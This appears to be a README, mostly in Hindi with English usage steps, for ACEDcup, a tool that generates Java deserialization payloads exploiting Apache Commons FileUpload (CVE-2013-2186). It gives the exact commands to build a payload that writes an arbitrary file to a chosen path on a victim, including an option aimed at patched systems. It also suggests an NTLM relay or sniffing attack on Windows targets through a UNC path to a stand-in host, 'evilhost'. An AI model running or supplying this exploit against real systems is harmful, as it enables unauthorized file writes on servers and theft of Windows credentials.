
पेलोड जनरेटर जावा बाइनरी डिसीरियलाइज़ेशन हमले के लिए Commons FileUpload (CVE-2013-2186) के साथ
ACEDcup उपकरण Java बाइनरी Deserialization हमले (ACED) के लिए पेलोड जनरेटर है।
यह Apache Commons FileUpload ver <= 1.3 (CVE-2013-2186) और Oracle JDK ver < 7u40 के लिए है।
यह हमला lib या Java के नए संस्करणों पर भी काम करता है। हम किसी भी निर्देशिका में कोई भी सामग्री अपलोड कर सकते हैं, लेकिन इस स्थिति में हम फ़ाइल नाम को नियंत्रित नहीं कर सकते (जैसे upload_f71d3547_72ed_4ae1_90fe_0d319115cd42_00000000.tmp)। हालांकि, यह कुछ मामलों में उपयोगी हो सकता है।
इसके अलावा, यदि आपका लक्ष्य Windows OS पर है तो हम NTLM-relay/sniffing हमला (\\evilhost\any\path का उपयोग करके) कर सकते हैं।
1)At first, we create a serialized payload:
java -jar aced_cup.jar /path/payload /path/target /path/out 1
/path/payload - a path to a file with your payload
/path/target - a path to a file that will be created in your victim (this will be stored in the serialized payload)
/path/out - a path to a file with serialized payload
0 - turn off null-byte ending if you attack a patched system (with null-byte- by default)
2)Then we set the serialized payload to the serialized reader (if we want to test the vuln on your host) :
java -jar ser_reader serialized_payload.txt
ser_reader tries to deserialize the payload and because of a vulnerability in it's library, it creates a new file in the directory specified.
java -jar aced_cup.jar D:\\cup_exploit\\payload.txt /home/user/test/any_name.txt D:\\cup_exploit\\serialized_payload.txt
```java -jar ser_reader D:\cup_exploit\serialized_payload.txt````